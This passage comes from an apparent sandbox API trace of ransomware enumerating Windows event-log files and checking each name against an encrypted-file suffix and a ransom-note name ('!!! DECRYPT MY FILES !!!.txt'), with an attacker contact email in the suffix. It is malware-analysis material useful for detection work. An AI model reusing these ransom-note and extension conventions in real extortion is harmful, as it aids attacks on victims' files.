ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1 [0103.316] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx", len=0x35 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 1 [0103.316] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cchLength=0x35 | out: lpsz="c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx") returned 0x35 [0103.316] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.316] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.317] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.317] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.550] GetProcessHeap () returned 0x630000 [0103.550] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1250 [0103.550] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1 [0103.550] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx", psz="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx", len=0x38 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 1 [0103.550] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx", cchLength=0x38 | out: lpsz="c:\\logs\\microsoft-windows-applocker%4msi and script.evtx") returned 0x38 [0103.550] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.550] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.550] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.550] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.550] GetProcessHeap () returned 0x630000 [0103.550] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1250, Size=0x10) returned 0x6b1430 [0103.551] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1 [0103.551] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-applocker%4msi and script.evtx", psz="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", len=0x41 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 1 [0103.551] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cchLength=0x41 | out: lpsz="c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx") returned 0x41 [0103.551] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.551] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.551] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.551] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.551] GetProcessHeap () returned 0x630000 [0103.551] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1430, Size=0x14) returned 0x6b0178 [0103.551] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1 [0103.551] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx", psz="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", len=0x40 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 1 [0103.551] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cchLength=0x40 | out: lpsz="c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx") returned 0x40 [0103.552] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.552] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.552] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.552] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.552] GetProcessHeap () returned 0x630000 [0103.552] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0178, Size=0x18) returned 0x6b0418 [0103.552] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1 [0103.552] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx", psz="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx", len=0x36 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 1 [0103.552] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cchLength=0x36 | out: lpsz="c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx") returned 0x36 [0103.552] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.552] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.552] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.552] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.553] GetProcessHeap () returned 0x630000 [0103.553] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x1c) returned 0x6e9378 [0103.553] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1 [0103.553] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx", psz="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx", len=0x32 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 1 [0103.553] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx", cchLength=0x32 | out: lpsz="c:\\logs\\microsoft-windows-appreadiness%4admin.evtx") returned 0x32 [0103.553] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.553] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.553] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.553] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.553] GetProcessHeap () returned 0x630000 [0103.553] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9378, Size=0x20) returned 0x6e8fe0 [0103.553] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1 [0103.554] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-appreadiness%4admin.evtx", psz="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx", len=0x38 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 1 [0103.554] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx", cchLength=0x38 | out: lpsz="c:\\logs\\microsoft-windows-appreadiness%4operational.evtx") returned 0x38 [0103.554] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.554] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.554] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.554] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.554] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1 [0103.554] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-appreadiness%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx", len=0x3a | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 1 [0103.554] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx", cchLength=0x3a | out: lpsz="c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx") returned 0x3a [0103.554] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.554] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.554] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.554] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.555] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1 [0103.555] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", len=0x40 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 1 [0103.555] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cchLength=0x40 | out: lpsz="c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx") returned 0x40 [0103.555] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.555] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.555] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.555] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.555] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1 [0103.555] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", len=0x3f | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 1 [0103.555] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cchLength=0x3f | out: lpsz="c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx") returned 0x3f [0103.555] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.556] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.556] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.556] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.556] GetProcessHeap () returned 0x630000 [0103.556] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x24) returned 0x699708 [0103.556] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1 [0103.556] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx", psz="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx", len=0x39 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 1 [0103.556] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx", cchLength=0x39 | out: lpsz="c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx") returned 0x39 [0103.556] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.556] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.556] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.557] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.557] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1 [0103.557] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", len=0x48 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 1 [0103.557] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cchLength=0x48 | out: lpsz="c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx") returned 0x48 [0103.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.849] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.849] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.849] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1 [0103.849] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx", len=0x37 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 1 [0103.849] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx", cchLength=0x37 | out: lpsz="c:\\logs\\microsoft-windows-bits-client%4operational.evtx") returned 0x37 [0103.849] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.849] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.850] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.850] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.850] FindNextFileW (in: 